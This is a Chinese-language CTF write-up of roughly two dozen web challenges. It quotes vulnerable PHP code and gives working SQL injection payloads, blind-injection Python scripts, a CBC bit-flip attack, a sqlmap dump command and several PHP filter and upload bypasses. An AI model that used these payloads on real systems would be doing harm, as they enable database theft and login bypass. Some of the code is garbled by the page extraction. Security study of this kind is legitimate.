2018-11-02-[实验吧]-web-writeup

一.简单的登录题
进入首页以后是一个登录框
然后抓包的时候发现一个小提示:


2018-11-02-[实验吧]-web-writeup_第1张图片
p2

然后直接get这个文件下来看看.
其中test.php的源代码如下所示:

define("SECRET_KEY", '***********');#秘钥
define("METHOD", "aes-128-cbc");#cbc模式,一个模块加密以后拿去与下一个模块异或,然后下一个模块再加密
error_reporting(0);#设置错误报告等级,关掉所有的错误报告
include('conn.php');
function sqliCheck($str){
    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
        return 1;
    }
    return 0;
}#sql注入检查
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;#生成随机iv
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);#明文先进行序列化
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);#进行加密
    setcookie("iv", base64_encode($iv));#iv进行编码以后放在cookie里面
    setcookie("cipher", base64_encode($cipher));#cipher进行加密以后放在cookie里面
}
function show_homepage(){
    global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){#检查cookie里面这两个值是不是
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){#尝试解密
            $info = unserialize($plain) or die("

base64_decode('".base64_encode($plain)."') can't unserialize

");#解密后反序列化 $sql="select * from users limit ".$info['id'].",0";#limit的用法是只查这一个用户开始之后偏移量为0的数据 $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){ $rows=mysqli_fetch_array($result); echo '

Hello!'.$rows['username'].'

'; } else{ echo '

Hello!

'; } }else{ die("ERROR!"); } } } if(isset($_POST['id'])){#如果id不为空,检查并接收id $id = (string)$_POST['id']; if(sqliCheck($id)) die("

sql inject detected!

"); $info = array('id'=>$id);#创建一个数组 login($info);#这样的话其实就是拿id来加密了..... echo '

Hello!

'; }else{#如果id为空,就检查iv以及cipher,不为空就进行检查 if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){ show_homepage(); }else{#啥都没有就相当于重新刷新首页 echo '
'; } }

看了源代码发现这是个aes-128-cbc模式加密代码.
截取一个包看看


2018-11-02-[实验吧]-web-writeup_第2张图片
p3

可以看到有ID的话其实只会显示hello,我们要进行sql查询flag就不能有id,但要有iv和cipher....
接下来看看大佬的解决方案怎么写的,代码如下:

# -*- coding:utf8 -*-

from base64 import *
import urllib
import requests
import re

def denglu(payload,idx,c1,c2):

    url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'

    payload = {'id': payload}#ID是payload

    r = requests.post(url, data=payload)发送post包出去,经测试赋值的时候就会出去了

    Set_Cookie=r.headers['Set-Cookie']

    iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]#取下iv

    cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]#取下cookie

    iv_raw = b64decode(urllib.unquote(iv))#解码

    cipher_raw=b64decode(urllib.unquote(cipher))#解码,unquote是把一些特殊字符的转义给解析回来

    lst=list(cipher_raw)

    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

    cipher_new=''.join(lst)

    cipher_new=urllib.quote(b64encode(cipher_new))

    cookie_new={'iv': iv,'cipher':cipher_new}

    r = requests.post(url, cookies=cookie_new)

    cont=r.content#r.content是返回包的内容

    plain = re.findall(r"base64_decode\('(.*?)'\)", cont)[0]

    plain = b64decode(plain)#解密明文

    first='a:1:{s:2:"id";s:'

    iv_new=''

    for i in range(16):

        iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))

    iv_new = urllib.quote(b64encode(iv_new))

    cookie_new = {'iv': iv_new, 'cipher': cipher_new}

    r = requests.post(url, cookies=cookie_new)

    rcont = r.content

    print rcont#做两次是为啥

denglu('12',4,'2','#')

denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')#开始进行sql查询,这里可能需要加密知识不是很懂...

denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')

denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')

denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')

这里涉及加密的内容,以后补上吧....

二.后台登录
进去了以后直接f12,看到提示

 $password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
        if(mysqli_num_rows($result)>0){
            echo 'flag is :'.$flag;
        }
        else{
            echo '密码错误!';
        } 

可以看到输入的点只有password一个,然后进行了md5加密.
这里科普一下php的md5函数.

2018-11-02-[实验吧]-web-writeup_第3张图片
Selection_001.png

运行实例如下:
2018-11-02-[实验吧]-web-writeup_第4张图片
Selection_001.png

可以看到raw这个参数是用来控制输出格式的,True的时候输出是16进制转字符串的结果,false的时候是输出普通16进制的结果.
那也就是说要直接有某个字符串,md5后转换为16进制包含 ' or '就可以了.
Google了一波,发现已经有人发现这样的字符串了: ffifdyop
操作如下:
2018-11-02-[实验吧]-web-writeup_第5张图片
Selection_002.png

flag就出来了.

三.加了料的报错注入
这道题一上来就是要你post username以及password然后直接上


2018-11-02-[实验吧]-web-writeup_第6张图片
p3

直接抓包的话是Get请求,所以需要在hackbar里面填数据,经过测试发现username以及password都是有注入点的.接着进行注入点fuzz测试一下过滤了哪些,发现username过滤了()等符号,但是没有过滤updatexml,password过滤了updatexml
于是可以利用这种不同地方过滤规则不一样的漏洞,通过http分割注入来进行get flag.


2018-11-02-[实验吧]-web-writeup_第7张图片
p4
payload:' and updatexml/*&password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1

可以get到数据库名称是error_based_hpf
接着利用这种分割注入(其实就是加入注释符号而已....)
然后就是查询表明,数据库名已经知道了,所以直接上payload:

payload:1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where (table_schema regexp binary '^error_based_hpf') ),0x7e),3)or'1

这里过滤了=,所以不能直接指定数据库,大佬说用like或者regexp代替,我试了一下like被过滤了,绕过方法可真是多种多样...


2018-11-02-[实验吧]-web-writeup_第8张图片
p5

[图片上传中...(Selection_001.jpg-bc5522-1550628832873-0)]
然后就是知道两个表是ffll44jj,users
接着获取列.

payload:username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where (table_schema regexp binary '^error_based_hpf') and (table_name regexp binary '^ffll44jj') ),0x7e),3)or'1
2018-11-02-[实验吧]-web-writeup_第9张图片
p6

然后查数据

payload:username=' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1
2018-11-02-[实验吧]-web-writeup_第10张图片
p7

最终获取flag{err0r_b4sed_sqli_+_hpf}

四.认真一点
该题目首页如下:


2018-11-02-[实验吧]-web-writeup_第11张图片
p8

检测结果是空格会被过滤,空格过滤那就是用括号或者注释符来代替
逗号被过滤,直接sql detected,这里大佬说用from for可以代替,学一波,经测试是直接可以select mid(database() from(1) for(5))#选择数据库名称1到5位置的字符
然后if没被过滤,等于号没被过滤,然后学习一波大佬的盲注脚本

import requests;
import string

url='http://ctf5.shiyanbar.com/web/earnest/index.php'
s=requests.session()

ascii=string.printable

def exploit(payload):
    payload=payload.replace(' ',chr(0x0a));
    flag=''
    for i in range(1,20):
        for j in ascii:
            temp=j;
            data={'id':payload.format(i,temp)};
            html=s.post(url,data=data);

            if "You are in" in html.content.decode('utf-8'):
                if j=='*':
                  j=' '
                flag+=j;
                print(flag);
                break;

if __name__=='__main__':
    exploit("0'oorr(mid(database()from({})foorr(1))='{}')oorr'0");#ctf_sql_bool_blind database name
    exploit("0'oorr((select(mid(group_concat(table_name)from({})foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='{}')oorr'0")
    exploit("0'oorr((select(mid(group_concat(column_name)from({})foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='{}')oorr'0")
    exploit("0'oorr((select(mid((fl$4g)from({})foorr(1)))from(fiag))='{}')oorr'0")

这里第一的exploit是获取数据库名的,其中的{}老是看不明白,最后debug才发现原来是留白给后面format填充的.


p9

这个最好自己写一遍.....才明白啥意思
整理一下盲注脚本的思路就是不断用mid函数注入出来一个字母再比对这个字母是啥就可以了.
总结下那个盲注的思路就是利用mid函数探测每一个字符,通过一个个字符探测最后把那个flag名称拼接起来。
五.你真的会PHP吗


2018-11-02-[实验吧]-web-writeup_第12张图片
p10

然后就上burp发现一个hint...
2018-11-02-[实验吧]-web-writeup_第13张图片
p11

直接访问以后是一些php代码,应该是考php代码审计。。。

 $value) { 
        $value = trim($value); 
        is_string($value) && $req[$key] = addslashes($value); 
    } 
} 


function is_palindrome_number($number) { 
    $number = strval($number); #Convert any scalar value (string, integer, or double) to a string. 
    $i = 0; 
    $j = strlen($number) - 1; 
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 


if(is_numeric($_REQUEST['number'])){
    
   $info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){
      
     $info = "number must be equal to it's integer!! ";  

}else{

     $value1 = intval($req["number"]);#. intval()函数. 作用:. 获取变量的整数值.
     $value2 = intval(strrev($req["number"]));  

     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }else{
          
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }else{
             $info=$flag;
          }
     }

}

echo $info;

从代码审计中可以看出,首先number域不能为空,然后就是不能为纯数字,有is_numeric来判断,然后就是不能为一个回文数,这个是由is_palindrome_number来判断(PS:数字的特点是正反序是同一个数字),最后该数的翻转的整数值应该等于它本身的整数值,最后构建payload:0e-0%00....%00是用来绕过那个isnumber检查的
注意发送数据的时候要改成post不用get方法.


2018-11-02-[实验吧]-web-writeup_第14张图片
p12

六.登陆一下好嘛
这道题提示要用万能密码绕过,但是过滤了很多玩意..


2018-11-02-[实验吧]-web-writeup_第15张图片
p13

然后就是常见的fuzz,这里我自己写了个测试fuzz的框架,可以测试特殊字符哪些被过滤了.
import requests;
import string

url='http://ctf5.shiyanbar.com/web/wonderkun/web/login.php'
s=requests.session()

ascii=string.printable

def exploit_test(payload):
    data = {'username':payload, 'password':'admin'};
    headers={
        'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
        'Referer':'http://ctf5.shiyanbar.com/web/wonderkun/web/index.html',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5'
    };
    html=s.post(url,data=data,headers=headers);
    r=html.content.decode("utf-8");
    #print(r);
    if 'username:'+payload+'
' in r: pass; else: print(payload+' was pass'); if __name__=='__main__': for i in ascii: exploit_test(i); 测试结果是: # was pass * was pass / was pass | was pass

所有ascii中这四个字符被过滤了,然后就是各种常见的sql注入函数,懒得搞看看别人的writeup说or,union,select也一样被过滤,所以'就没被过滤喽...
学一个新的万能密码:''=',如图


2018-11-02-[实验吧]-web-writeup_第16张图片
p14
select * from table where username= '''='' and password='''=''

所以到底这是啥意思,一脸懵逼,这里是直接绕过两个限制吗?那其他部分不报错?
七.Who You Are
这道感觉是日志污染?


2018-11-02-[实验吧]-web-writeup_第17张图片
p15

然后直接使用x-forwarded-for字段来污染,因为该字段会记录我们的ip地址给他.记住一句话,要发送数据一定要转成post方法....
然后就是fuzz阶段,测到如果是加了','以及后面的内容会被过滤,记得前面代替,的是mid from for.这道题考的是基于时间的盲注来着.直接上盲注脚本,这里学习一波case when then语句,先上一份找数据库名代码...

import requests;
import string;
import time;

url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
s=requests.session()

ascii=string.printable

def exploit_test(payload):
    #data = {'username':payload, 'password':'admin'};
    flag='';
    try1=0;
    for i in range(1,5):#这里是建立在已知长度为4的情况下
        for j in ascii:
            headers = {
                'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                'Accept-Language': 'en-US,en;q=0.5',
                'x-forwarded-for': payload.format(i,j)
            };
            start_time = time.time();
            html = s.post(url, headers=headers);
            r = html.content.decode("utf-8");
            end_time = time.time();
            if end_time - start_time > 8:
                print('Now i is %s\n'%i);
                flag+=j;
                print('Flag:%s'%flag);
                break;
            else:
                try1+=1;
                print('%s+%s'%(try1,j));


if __name__=='__main__':
        exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");#判断数据库名称为web4
2018-11-02-[实验吧]-web-writeup_第18张图片
p16

探索表数量代码如下:

import requests;
import string;
import time;

url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
s=requests.session()

ascii=string.printable

def exploit_test(payload):
    #data = {'username':payload, 'password':'admin'};
    flag='';
    try1=0;
    for i in range(1,7):
        for j in ascii:
            headers = {
                'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                'Accept-Language': 'en-US,en;q=0.5',
                'x-forwarded-for': payload.format(j)
            };
            start_time = time.time();
            html = s.post(url, headers=headers);
            r = html.content.decode("utf-8");
            end_time = time.time();
            if end_time - start_time > 8:
                print('Now table number is %s\n'%j);
                flag+=j;
                #print('Flag:%s'%flag);
                break;
            else:
                try1+=1;
                print('%s+%s'%(try1,j));


if __name__=='__main__':
        #exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");
        exploit_test("1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = {}) then sleep(10) else sleep(0) end and '1'='1");

经过探测表数量为2
总体过程如下:

判断数据库名称长度 1' and case when (length((SELECT concat(database())))<5) then sleep(3) else sleep(0) end and '1'='1,此句如果执行有延迟,则说明数据库名称小于5个字符,使用<4的时候,执行不成功,说明数据库长度为4个字符。
判断数据库名的各个字符,"1' and case when (substring((select database()) from %s for 1)='%s') then sleep(5) else sleep(0) end and '1'='1"%(i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,从此句可判断数据库名为web4
查看数据库中表单的数量,1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = 2) then sleep(3) else sleep(0) end and '1'='1;此句判断数据库中有两个表。
判断数据库表名长度,"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i),其中i为长度。
判断数据库表名,"1' and case when(ascii(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,找到表flag。
判断表flag字段,"1' and case when(ascii(substring((select group_concat(column_name separator ';') from information_schema.columns where table_name='flag') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each),得到字段flag。
判断表flag,字段flag中内容长度,"1' and case when(length(substring((select group_concat(flag separator ';') from flag) from %s for 1))='') then sleep(6) else 0 end and 'a'='a" %i。
获取flag值,"1' and (select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(10) else sleep(0) end ) and '1'='1"%(i,str)。

八.因缺思汀的绕过
web题目的思路,看源码,看请求,看响应...
源码里看到一个source.txt


2018-11-02-[实验吧]-web-writeup_第19张图片
p17

所以直接请求这个文件看看

'."
"; echo ''."
"; echo ''."
"; echo ''."
"; echo ''."
"; echo ''."
"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "水�载舟,亦�赛艇�"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦�赛艇�"; } }else{ print "一颗赛艇�"; } mysql_close($con); ?>

看源码可以知道一共有三个绕过条件

  1. $filter = "and|select|from|where|union|join|sleep|benchmark|,|(|)";整个条件使用正则表达式来匹配,然后直接绕过就可以了(' or '1'#)
  2. if (mysql_num_rows($query) == 1) 这个是限制查询出来的数据只有一个数据列,使用limit 1就可以了.
  3. if(_POST['pwd'])这个要求我们post的pwd字段和目的结果集中的查询结果要一致,大佬们说用group by with rollup来解决这问题,使用这语句以后会在结尾插入一个null,然后使用limit offset语句来查询这个null,产生null=null的结果从而绕过该限制...
    payload:uname=1' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
    2018-11-02-[实验吧]-web-writeup_第20张图片
    p18

    九:简单的sql注入之3
    这道题莫名其妙的,fuzz之后出现各种结果,不过要收集好的fuzz材料也是必须的...
    然后看了一下说是空格做了特别处理,想起sqlmap的space2comment脚本,直接获取flag
sqlmap -r 44.txt -script=space2comment --dump -T flag -D web1
2018-11-02-[实验吧]-web-writeup_第21张图片
p19

十.天下武功唯快不破
这道题目的思路就是http返回包里有一个flag,经过base64编码的,然后获取这个flag解码以后变成key:flag.b64decode post出去,然后直接获取真正的flag回来就行了,代码如下:

import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php" # 目标URL

response = requests.post(url,data={"key":"1"}) # 打开链接
flag =str(base64.b64decode((response.headers['FLAG']))).split(':')[1].rstrip("'")

# head = response.headers # 获取响应头
# flag = base64.b64decode(head['flag']) # 获取相应头中的Flag
print(flag) # 打印Flag
postData = {'key': flag} # 构造Post请求体
result = requests.post(url=url, data=postData) # 利用Post方式发送请求
# (注意要在同一个Session中 , 有的时候还需要设置Cookies , 但是此题不需要)
print(result.text) #

十一.让我进去
这道题一上来直接看源码,没发现啥,然后看请求响应也没看出啥,一脸懵逼,最后直接看了看writeup发现是修改cookie参数,我去....


2018-11-02-[实验吧]-web-writeup_第22张图片
p20

然后直接获取源码看下:

$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

看下来要获取flag有几个条件...
1是账号为admin,密码不应该是admin,二是用户名密码加盐值,md5之后的数值应该和cookie领域getmein的值相等,网上说这道题目是做所谓的hash长度拓展攻击.
不说了文章看的一脸懵逼,密码学钻进去也是深的一撇.....
所以学大佬最简单的方法....


2018-11-02-[实验吧]-web-writeup_第23张图片
p21

还是一脸闷逼...

十二.拐弯抹角
首页直接给了一段源代码,如下:

'; 

$URL = $_SERVER['REQUEST_URI']; 
//echo 'URL: '.$URL.'
'; $flag = "CTF{???}"; $code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php')); $stop = 0; //这道题目本身也有教学的目的 //第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的 //所以,第一个要求就是不得出现 ./ if($flag && strpos($URL, './') !== FALSE){ $flag = ""; $stop = 1; //Pass } //第二,我们可以构造 \ 来代替被过滤的 / //所以,第二个要求就是不得出现 ../ if($flag && strpos($URL, '\\') !== FALSE){ $flag = ""; $stop = 2; //Pass } //第三,有的系统大小写通用,例如 indirectioN/ //你也可以用?和#等等的字符绕过,这需要统一解决 //所以,第三个要求对可以用的字符做了限制,a-z / 和 . $matches = array(); preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches); if($flag && empty($matches) || $matches[1] != $URL){ $flag = ""; $stop = 3; //Pass } //第四,多个 / 也是可以的 //所以,第四个要求是不得出现 // if($flag && strpos($URL, '//') !== FALSE){ $flag = ""; $stop = 4; //Pass } //第五,显然加上index.php或者减去index.php都是可以的 //所以我们下一个要求就是必须包含/index.php,并且以此结尾 if($flag && substr($URL, -10) !== '/index.php'){ $flag = ""; $stop = 5; //Not Pass } //第六,我们知道在index.php后面加.也是可以的 //所以我们禁止p后面出现.这个符号 if($flag && strpos($URL, 'p.') !== FALSE){ $flag = ""; $stop = 6; //Not Pass } //第七,现在是最关键的时刻 //你的$URL必须与/indirection/index.php有所不同 if($flag && $URL == '/indirection/index.php'){ $flag = ""; $stop = 7; //Not Pass } if(!$stop) $stop = 8; echo 'Flag: '.$flag; echo '
'; for($i = 1; $i < $stop; $i++) $code = str_replace('//Pass '.$i, '//Pass', $code); for(; $i < 8; $i++) $code = str_replace('//Pass '.$i, '//Not Pass', $code); echo highlight_string($code, TRUE); echo '';

这道题题目说的很明显了,就是要你访问/index.php,然后有几个要求,一个是不能出现../,./等各种跳字节符号,一个是只能用小写字母,一个是不能出现注释符,一个是不能与/indirection/index.php相同,最后是不能在index.php后面加' . '.所以构造一个index.php/index.php就可以了.


2018-11-02-[实验吧]-web-writeup_第24张图片
p22

这里介绍一下伪静态技术,就是把一些动态网站的url映射成静态的资源,当访问静态资源时后台自动解析洞动态的,这样是为了提高搜索引擎的seo权重...

十四.Forms
这道题目是很简单的做法,直接修改包头数据字段展示源代码就知道了


2018-11-02-[实验吧]-web-writeup_第25张图片
p23

那就直接告诉你pin的密码了,直接赋值给PIN就行了。。。。

十五:天网管理系统
这道题目做法也是直接隐藏在网络分组里面了,所以直接看分组


2018-11-02-[实验吧]-web-writeup_第26张图片
p24

提示我们要直接填充一个username,使得username md5后的值可以0匹配,网上一波搜索说是以oe开头的md5值就好随手找了一个。。。s155964671a


2018-11-02-[实验吧]-web-writeup_第27张图片
p25

出现一个新的url,所以直接访问出现一个代码。。。
2018-11-02-[实验吧]-web-writeup_第28张图片
p26

所以直接看到要对所谓的password字段做一个所谓的反序列化,使得出来的user字段和pass字段等于某个值,但是没说是什么值,所以看了writeup说是PHP中bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。(a代表array,s代表string,b代表bool,而数字代表个数/长度)

构造password值为: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}


2018-11-02-[实验吧]-web-writeup_第29张图片
p27

赶脚PHP还是要好好学学。。。。。

十六:忘记密码了
这题首页要求输入邮箱,给了邮箱有给出step2.php的URL,访问URL又自动跳入step1.php的页面输入邮箱,所以只能抓包看看所谓step2.php代码有没有了,代码如下:

Frame 198: 334 bytes on wire (2672 bits), 334 bytes captured (2672 bits) on interface 0
Ethernet II, Src: Netgear_03:8a:d1 (e0:91:f5:03:8a:d1), Dst: AsixElec_be:23:02 (00:0e:c6:be:23:02)
Internet Protocol Version 4, Src: 106.2.25.10, Dst: 192.168.1.29
Transmission Control Protocol, Src Port: 80, Dst Port: 55251, Seq: 1449, Ack: 429, Len: 268
[2 Reassembled TCP Segments (1716 bytes): #197(1448), #198(268)]
Hypertext Transfer Protocol
    HTTP/1.1 200 OK\r\n
    Date: Tue, 02 Apr 2019 06:45:42 GMT\r\n
    Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29\r\n
    X-Powered-By: PHP/5.3.29\r\n
    Content-Length: 1511\r\n
    Connection: close\r\n
    Content-Type: text/html\r\n
    \r\n
    [HTTP response 1/1]
    [Time since request: 0.040935000 seconds]
    [Request in frame: 196]
    [Request URI: http://ctf5.shiyanbar.com/10/upload/[email protected]&check=???????]
    File Data: 1511 bytes
Line-based text data: text/html (55 lines)
    
\n Notice: Use of undefined constant email - assumed 'email' in C:\h43a1W3\phpstudy\WWW\10\upload\step2.php on line 2
\n
\n Notice: Use of undefined constant check - assumed 'check' in C:\h43a1W3\phpstudy\WWW\10\upload\step2.php on line 5
\n check error!\n \n \n \t\n \t\n \t\n \t\n \t\n \tlogic\n \t\n \n \n \t
\n \t\t

\346\211\276\345\233\236\345\257\206\347\240\201step2

\n \t\temail:\n Notice: Use of undefined constant email - assumed 'email' in C:\h43a1W3\phpstudy\WWW\10\upload\step2.php on line 49
\n value="[email protected]" disable="true"/>
\n \t\ttoken:
\n \t\t\n \t
\n \n \n \n \n \n \n

可以看到他提交表格给了submit.php,但是无法直接访问submit.php。。。


2018-11-02-[实验吧]-web-writeup_第30张图片
p28

但是前面抓包的过程中有看到它提示编辑器是使用vim,联想到vim是使用交换文件的,于是构造交换文件.submit.php.swp,可以直接获取submit.php源码。。


2018-11-02-[实验吧]-web-writeup_第31张图片
p29

可以看到判断代码是要求token十位,并且必须是为0,那就0000000000就行了。。。还有必须是管理员邮箱。。
2018-11-02-[实验吧]-web-writeup_第32张图片
p30

十七: Once More
这道题目需要好好学习一下代码审计知识。。。

You password must be alphanumeric

'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('

*-* have not been found

'); } } else { echo '

Invalid password

'; } } ?>

这道题目有三个限制条件,一个是不能出现非数字字母字符,一个是长度小于8且数字值要比9999999大,一个是必须包含-,然后看了writeup,发现ereg存在截断字符%00漏洞,所以直接构造payload:1e8%00-就直接获取flag了。。。

十八:Guess Next Session
这道题也是一道代码审计题目。。。

Wrong guess.

'; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?>

看条件可知道,只要删除session,password也设置为空,就可以造成相等,达到效果。。。
所以。。


2018-11-02-[实验吧]-web-writeup_第33张图片
p31

所以直接修改session值,上面字段为空就行了。。。

十九:FALSE
这道代码审计要搞sha1碰撞,膜拜大佬。。。
我看了一下真正碰撞,只有Google搞出来下,但是需要PDF格式,这时候看看所谓的sha1函数,发现传入参数的格式应该是字符串类型,传入其他类型会导致输出false,还有这种操作。。。
构造payload:name[]=a&password[]=b就行了。。

二十:上传绕过
这道题目考得是用0x00来截断解决php不能上传的问题。。


2018-11-02-[实验吧]-web-writeup_第34张图片
p32

如何做呢,就是直接在uploads/后面加一个1.php+,然后切换到16进制把+的16进制改为00就行了。。这种截断还真是多。。

二十一:NSCTF


2018-11-02-[实验吧]-web-writeup_第35张图片
p33

这是一道解密题目,密码函数直接贴出来了,下面直接上我这段时间苦练的python功底了。。

import base64;
import codecs;


if __name__=='__main__':
    str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
    str=codecs.decode(str,'rot_13');
    str=str[::-1];
    str=base64.b64decode(str);
    c='';
    for i in str:
        i=i-1;
        c=c+chr(i);
    print(c[::-1]);

二十二: 程序逻辑问题
这道题目源代码在网页源码里,如下:

connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    echo "

Logged in! Key:**************

"; } else { echo("

Log in failure!

"); } } ?>

代码明显存在注入点,在username处,然后password做了md5加密,所以主要是做了联合查询查个md5出来,使得与password相等就行,payload:Username' union select md5(1)#�
这样的查询语句就是 select pw from php where user='Username' union select md5(1)#�其中pw是md5(1),这样的话就查询出来了。


2018-11-02-[实验吧]-web-writeup_第36张图片
p34

二十三. what a fuck
这道题目上来完全不知道讲啥,看了writeup说是jsfuck编码,可以直接扔浏览器console解码


2018-11-02-[实验吧]-web-writeup_第37张图片
p35

二十四.PHP大法
源代码直接上来:
not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "

Access granted!

"; echo "

flag: *****************}

"; } ?>

int eregi(string pattern, string string, [array regs]);
定义和用法
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
返回值
如果匹配成功返回true,否则,则返回false
这个代码要绕过条件比较清晰,首先系统url解码以后不能出现hackerDJ,出现的话直接not allowed,然后后面经过再一次url解码以后要出现hackerDJ,所以直接url编码两次就行了,payload:%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61


2018-11-02-[实验吧]-web-writeup_第38张图片
p36

二十四.这个看起来有点简单
这道题目就是一道数字型有逻辑回显的注入题目,pass。。。

二十五:貌似有点难
代码审计题,看源码

              

看了看代码,就是函数返回值必须是1.1.1.1


